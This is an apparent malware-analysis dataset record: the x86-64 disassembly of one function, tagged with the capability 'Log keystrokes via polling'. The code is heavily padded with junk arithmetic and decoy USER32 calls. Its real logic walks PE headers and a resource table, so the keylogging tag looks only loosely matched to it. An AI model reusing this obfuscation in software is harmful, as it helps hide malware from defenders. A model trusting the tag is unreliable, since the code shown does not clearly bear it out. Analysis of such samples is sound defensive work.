Function at 0x2f8aa51fd
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov eax, edx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov word [rbp + 0x18], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
xor ax, 0xaea2
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf056]
or ax, 0x62f0
mov word [0x2f8aaf05e], ax
mov edx, 0
mov ecx, 0x4f
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov eax, dword [0x2f8aaf058]
or eax, 0x5b
mov byte [0x2f8aaf05c], al
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x38f7
mov word [0x2f8aaf05e], ax
mov dword [rbp - 4], 0x62
mov eax, dword [0x2f8aaf058]
xor ax, 0xb26e
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
or eax, 0xc6761557
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
xor ax, 0xace1
mov word [0x2f8aaf05e], ax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
movzx eax, word [0x2f8aaf054]
and ax, 0xcd6f
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
add eax, 0x121abe0e
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
imul eax, eax, 0xa57c906e
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
sub eax, 0x616363ba
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
sub ax, 0x7d49
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
imul ax, ax, 0xda4f
mov word [0x2f8aaf05e], ax
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf054]
and ax, 0x35f2
mov word [0x2f8aaf056], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub eax, 0x1b7e8978
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
imul ax, ax, 0xb499
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
or eax, 0x93fbd448
mov dword [0x2f8aaf058], eax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
movzx eax, byte [0x2f8aaf05c]
xor eax, 0x7f
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf054]
movzx eax, ax
imul eax, eax, 0xe6109286
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
or ax, 0x7968
mov word [0x2f8aaf056], ax
movzx eax, byte [0x2f8aaf05c]
sub eax, 0x23
mov byte [0x2f8aaf05c], al
sub dword [rbp - 4], 1
mov eax, dword [0x2f8aaf058]
add eax, 0x5a18c582
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
add eax, 0x3f
mov byte [0x2f8aaf05c], al
mov eax, dword [0x2f8aaf058]
and ax, 0xd212
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
xor ax, 0x5bb9
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf05e]
or eax, 0x6b
mov byte [0x2f8aaf05c], al
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x1520
mov word [0x2f8aaf054], ax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x28], rax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and ax, 0x3b1
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x3521
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
add ax, 0x18d3
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
add ax, 0x36e3
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf056]
xor ax, 0x4eaa
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
xor eax, 0xffffff88
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf054]
movzx eax, ax
xor eax, 0x136b6c76
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
sub eax, 0x7a0364f0
mov dword [0x2f8aaf058], eax
sub dword [rbp - 4], 1
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub eax, 0x4ac984ad
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
sub eax, 0x26
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
sub ax, 0x42a2
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
sub ax, 0x1957
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
and ax, 0x18ff
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf056]
xor ax, 0x3a1
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
add ax, 0x1458
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
xor eax, 0xdd89f3d5
mov dword [0x2f8aaf058], eax
mov rax, qword [rbp - 0x28]
add rax, 0x18
mov qword [rbp - 0x30], rax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
or eax, 0x743ba69
mov dword [0x2f8aaf058], eax
mov eax, dword [0x2f8aaf058]
xor ax, 0x7b9a
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
add eax, 0x30680f25
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
xor eax, 0x1ba8ad6
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
add ax, 0x4b95
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf05e]
xor ax, 0x75a1
mov word [0x2f8aaf05e], ax
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf05e]
xor ax, 0x52f5
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
and eax, 0x3bcd633f
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
xor eax, 0xac249fb1
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
xor ax, 0x1a9a
mov word [0x2f8aaf056], ax
mov rax, qword [rbp - 0x30]
sub rax, 0xffffffffffffff80
mov qword [rbp - 0x38], rax
movzx eax, word [0x2f8aaf054]
or ax, 0x7cf2
mov word [0x2f8aaf05e], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x31d5
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
xor ax, 0x50ee
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
xor eax, 0x672e31e8
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
or ax, 0x96a4
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
imul eax, eax, 0xe124ad2
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
mov edx, eax
mov eax, edx
shl edx, 4
sub eax, edx
add eax, eax
mov byte [0x2f8aaf05c], al
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf056]
or ax, 0x205f
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
or ax, 0x7faa
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
or eax, 0xabbe3f1d
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
add ax, 0x4b3b
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf05e]
or eax, 0xffffffa5
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf054]
and ax, 0xa49f
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
xor ax, 0xba5a
mov word [0x2f8aaf05e], ax
movzx eax, byte [0x2f8aaf05c]
add eax, 0x1a
mov byte [0x2f8aaf05c], al
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
movzx eax, word [0x2f8aaf056]
movzx eax, ax
add eax, 0xde4e704
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
mov edx, 0x71
imul eax, edx
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
sub eax, 0x25fbe5bf
mov dword [0x2f8aaf058], eax
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf054]
sub ax, 0xc0f
mov word [0x2f8aaf056], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and ax, 0x7fde
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
imul eax, eax, 0x764d2dda
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
xor ax, 0xf0f4
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
add eax, 0x58e8cd97
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
sub ax, 0x740e
mov word [0x2f8aaf054], ax
mov eax, dword [0x2f8aaf058]
add eax, 0x56
mov byte [0x2f8aaf05c], al
mov qword [rbp - 0x58], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x68], 0
movzx eax, word [0x2f8aaf054]
imul ax, ax, 0xfc90
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
xor eax, 0xd0549f
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
xor eax, 0x689b6c8b
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
or ax, 0xf3a1
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf054]
mov edx, 0xffffffa9
imul eax, edx
mov byte [0x2f8aaf05c], al
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf054]
xor eax, 0xffffffbb
mov byte [0x2f8aaf05c], al
mov eax, dword [0x2f8aaf058]
or ax, 0x79d
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
imul ax, ax, 0x2963
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
or eax, 0x546ac3d9
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
add ax, 0x54ca
mov word [0x2f8aaf056], ax
mov qword [rbp - 0x70], 0
mov rax, qword [rbp - 0x38]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x40], rax
mov edx, 0
mov ecx, 3
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
imul eax, eax, 0x6df70269
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
imul ax, ax, 0x701e
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
xor ax, 0xae81
mov word [0x2f8aaf056], ax
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x40]
add rax, 0x10
mov qword [rbp - 0x58], rax
movzx eax, word [0x2f8aaf05e]
imul ax, ax, 0xbc81
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
or eax, 0xa779c85
mov dword [0x2f8aaf058], eax
mov eax, dword [0x2f8aaf058]
xor ax, 0x81bf
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
and ax, 0x2c22
mov word [0x2f8aaf056], ax
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf054]
sub ax, 0x1aa4
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
or ax, 0x1597
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x4ab5
mov word [0x2f8aaf05e], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0xab
mov word [0x2f8aaf054], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, byte [0x2f8aaf05c]
sub eax, 0x19
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf054]
or ax, 0x12d5
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
add eax, 0x2e
mov byte [0x2f8aaf05c], al
mov qword [rbp - 0x10], 0
jmp 0x2f8aa610e
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
or eax, 0xe85ea25d
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
add eax, 7
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
xor ax, 0x826d
mov word [0x2f8aaf056], ax
mov ecx, 0x26
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
movzx eax, word [0x2f8aaf05e]
xor ax, 0x2221
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
xor eax, 0x25161983
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
or ax, 0xa703
mov word [0x2f8aaf05e], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
xor ax, 0x396a
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf05e]
sub ax, 0x7d89
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
xor ax, 0xe1e5
mov word [0x2f8aaf056], ax
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf054]
xor ax, 0x5db6
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
or eax, 0x45ad8705
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
and ax, 0x7177
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
add eax, 0x78
mov byte [0x2f8aaf05c], al
mov eax, dword [0x2f8aaf058]
xor eax, 0x78
mov byte [0x2f8aaf05c], al
mov rax, qword [rbp - 0x10]
lea rdx, [rax*8]
mov rax, qword [rbp - 0x58]
add rax, rdx
movzx eax, byte [rax + 7]
and eax, 0xffffff80
test al, al
jne 0x2f8aa5c14
movzx edx, word [0x2f8aaf054]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
add eax, edx
shl eax, 7
mov word [0x2f8aaf056], ax
mov eax, dword [0x2f8aaf058]
xor ax, 0x7b5e
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
and eax, 0x12bb3e13
mov dword [0x2f8aaf058], eax
jmp 0x2f8aa6132
mov rax, qword [rbp - 0x38]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax*8]
mov rax, qword [rbp - 0x58]
add rax, rdx
mov eax, dword [rax + 4]
and eax, 0x7fffffff
mov eax, eax
lea rdx, [rcx + rax]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x48], rax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and ax, 0x1371
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
sub eax, 0x5d323545
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
and eax, 0xabe74e80
mov dword [0x2f8aaf058], eax
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x48]
add rax, 0x10
mov qword [rbp - 0x60], rax
mov edx, 0
mov ecx, 0xcc
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
movzx eax, word [0x2f8aaf056]
or ax, 0xad1c
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
or ax, 0x5a51
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf054]
or ax, 0x50d1
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf05e]
add ax, 0x352e
mov word [0x2f8aaf054], ax
sub dword [rbp - 4], 1
movzx eax, word [0x2f8aaf054]
xor ax, 0x2b2a
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
or eax, 0xffffffcc
mov byte [0x2f8aaf05c], al
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
imul ax, ax, 0x60b2
mov word [0x2f8aaf056], ax
mov ecx, 0xab
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov eax, dword [0x2f8aaf058]
imul ax, ax, 0x4638
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
sub ax, 0x4fc1
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x245c
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
xor eax, 0x6a8acf8d
mov dword [0x2f8aaf058], eax
mov rax, qword [rbp - 0x60]
movzx eax, byte [rax + 7]
and eax, 0xffffff80
test al, al
je 0x2f8aa6109
mov rax, qword [rbp - 0x60]
movzx eax, word [rax]
cmp word [rbp + 0x18], ax
jne 0x2f8aa6109
movzx eax, word [0x2f8aaf05e]
and ax, 0x2d55
mov word [0x2f8aaf05e], ax
mov ecx, 0x95
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
mov eax, dword [0x2f8aaf058]
add ax, 0x4c85
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
or ax, 0xca79
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub eax, 0x6e53e313
mov dword [0x2f8aaf058], eax
mov eax, dword [0x2f8aaf058]
add ax, 0x6dc5
mov word [0x2f8aaf054], ax
mov eax, dword [0x2f8aaf058]
and eax, 0x36e30296
mov dword [0x2f8aaf058], eax
mov edx, 0
mov ecx, 0x37
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
mov eax, dword [0x2f8aaf058]
and eax, 0xffffffe7
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf056]
add ax, 0x7284
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and eax, 0x88cd7e42
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
xor ax, 0xd2a6
mov word [0x2f8aaf05e], ax
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x38]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x60]
mov eax, dword [rax + 4]
and eax, 0x7fffffff
mov eax, eax
add rdx, rax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x50], rax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
add eax, 0x2428ba71
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf056]
and ax, 0x492b
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and ax, 0x503c
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf056]
mov edx, 0xffffffa2
imul eax, edx
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
add eax, 0x3b
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf054]
add ax, 0x1cf0
mov word [0x2f8aaf054], ax
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x50]
add rax, 0x10
mov qword [rbp - 0x68], rax
movzx eax, word [0x2f8aaf056]
sub eax, 0x20
mov byte [0x2f8aaf05c], al
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and ax, 0x7b49
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
xor eax, 0x10
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf056]
movzx eax, ax
or eax, 0x6d8fca56
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf05e]
sub ax, 0xc8e
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf05e]
add ax, 0x5f00
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf054]
imul ax, ax, 0x567d
mov word [0x2f8aaf05e], ax
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x38]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x68]
mov eax, dword [rax + 4]
mov eax, eax
and eax, 0x7fffffff
add rdx, rax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x70], rax
mov eax, dword [0x2f8aaf058]
xor ax, 0x5c04
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf056]
add ax, 0x4258
mov word [0x2f8aaf054], ax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
imul ax, ax, 0xfc1d
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf054]
add ax, 0x3c6
mov word [0x2f8aaf056], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x6e0f
mov word [0x2f8aaf054], ax
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x70]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp - 0x18]
add rdx, rax
mov rax, qword [rbp + 0x20]
mov qword [rax], rdx
movzx eax, word [0x2f8aaf05e]
add ax, 0x63e
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
and eax, 0x5ee34d14
mov dword [0x2f8aaf058], eax
movzx eax, word [0x2f8aaf054]
sub eax, 7
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
imul ax, ax, 0xd3f5
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
sub eax, 0x2cd0deba
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
or ax, 0xb15b
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
imul eax, eax, 0xc83f1e58
mov dword [0x2f8aaf058], eax
mov eax, dword [0x2f8aaf058]
xor eax, 0xffffffc3
mov byte [0x2f8aaf05c], al
sub dword [rbp - 4], 1
mov rax, qword [rbp - 0x70]
mov edx, dword [rax + 4]
mov rax, qword [rbp + 0x28]
mov dword [rax], edx
jmp 0x2f8aa6132
add qword [rbp - 0x10], 1
mov rax, qword [rbp - 0x40]
movzx eax, word [rax + 0xc]
movzx edx, ax
mov rax, qword [rbp - 0x40]
movzx eax, word [rax + 0xe]
movzx eax, ax
add eax, edx
cdqe
cmp qword [rbp - 0x10], rax
jb 0x2f8aa5aa0
movzx edx, byte [0x2f8aaf05c]
mov eax, edx
shl eax, 3
add eax, edx
mov byte [0x2f8aaf05c], al
mov ecx, 0xa4
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
add ax, 0x4124
mov word [0x2f8aaf05e], ax
mov rax, qword [rbp + 0x20]
mov rax, qword [rax]
test rax, rax
je 0x2f8aa6272
mov rax, qword [rbp + 0x28]
mov eax, dword [rax]
test eax, eax
je 0x2f8aa6272
movzx eax, word [0x2f8aaf054]
and eax, 0x37
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
and ax, 0x3d2e
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf054]
and ax, 0x2774
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf056]
movzx eax, ax
sub eax, 0x31a1b9b5
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
or ax, 0xd9aa
mov word [0x2f8aaf054], ax
mov eax, dword [0x2f8aaf058]
xor eax, 0x61
mov byte [0x2f8aaf05c], al
movzx eax, word [0x2f8aaf05e]
sub ax, 0x66aa
mov word [0x2f8aaf054], ax
movzx eax, word [0x2f8aaf056]
sub ax, 0x7171
mov word [0x2f8aaf05e], ax
mov eax, dword [0x2f8aaf058]
add eax, 0x377c2eb8
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
or eax, 0x8ea1614f
mov dword [0x2f8aaf058], eax
mov eax, dword [0x2f8aaf058]
sub ax, 0x5317
mov word [0x2f8aaf056], ax
movzx eax, word [0x2f8aaf05e]
movzx eax, ax
or eax, 0x9463ae6a
mov dword [0x2f8aaf058], eax
sub dword [rbp - 4], 1
mov eax, 1
jmp 0x2f8aa6306
movzx eax, word [0x2f8aaf05e]
and ax, 0x6086
mov word [0x2f8aaf05e], ax
mov edx, 0
mov ecx, 0x90
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8aaf054]
movzx eax, ax
add eax, 0x55a969c2
mov dword [0x2f8aaf058], eax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
and ax, 0x7a1b
mov word [0x2f8aaf05e], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
sub ax, 0x78cb
mov word [0x2f8aaf05e], ax
movzx eax, word [0x2f8aaf05e]
xor ax, 0xb2e1
mov word [0x2f8aaf054], ax
movzx eax, byte [0x2f8aaf05c]
movzx eax, al
xor ax, 0x1b36
mov word [0x2f8aaf054], ax
sub dword [rbp - 4], 1
mov eax, 0
add rsp, 0x90
pop rbp
ret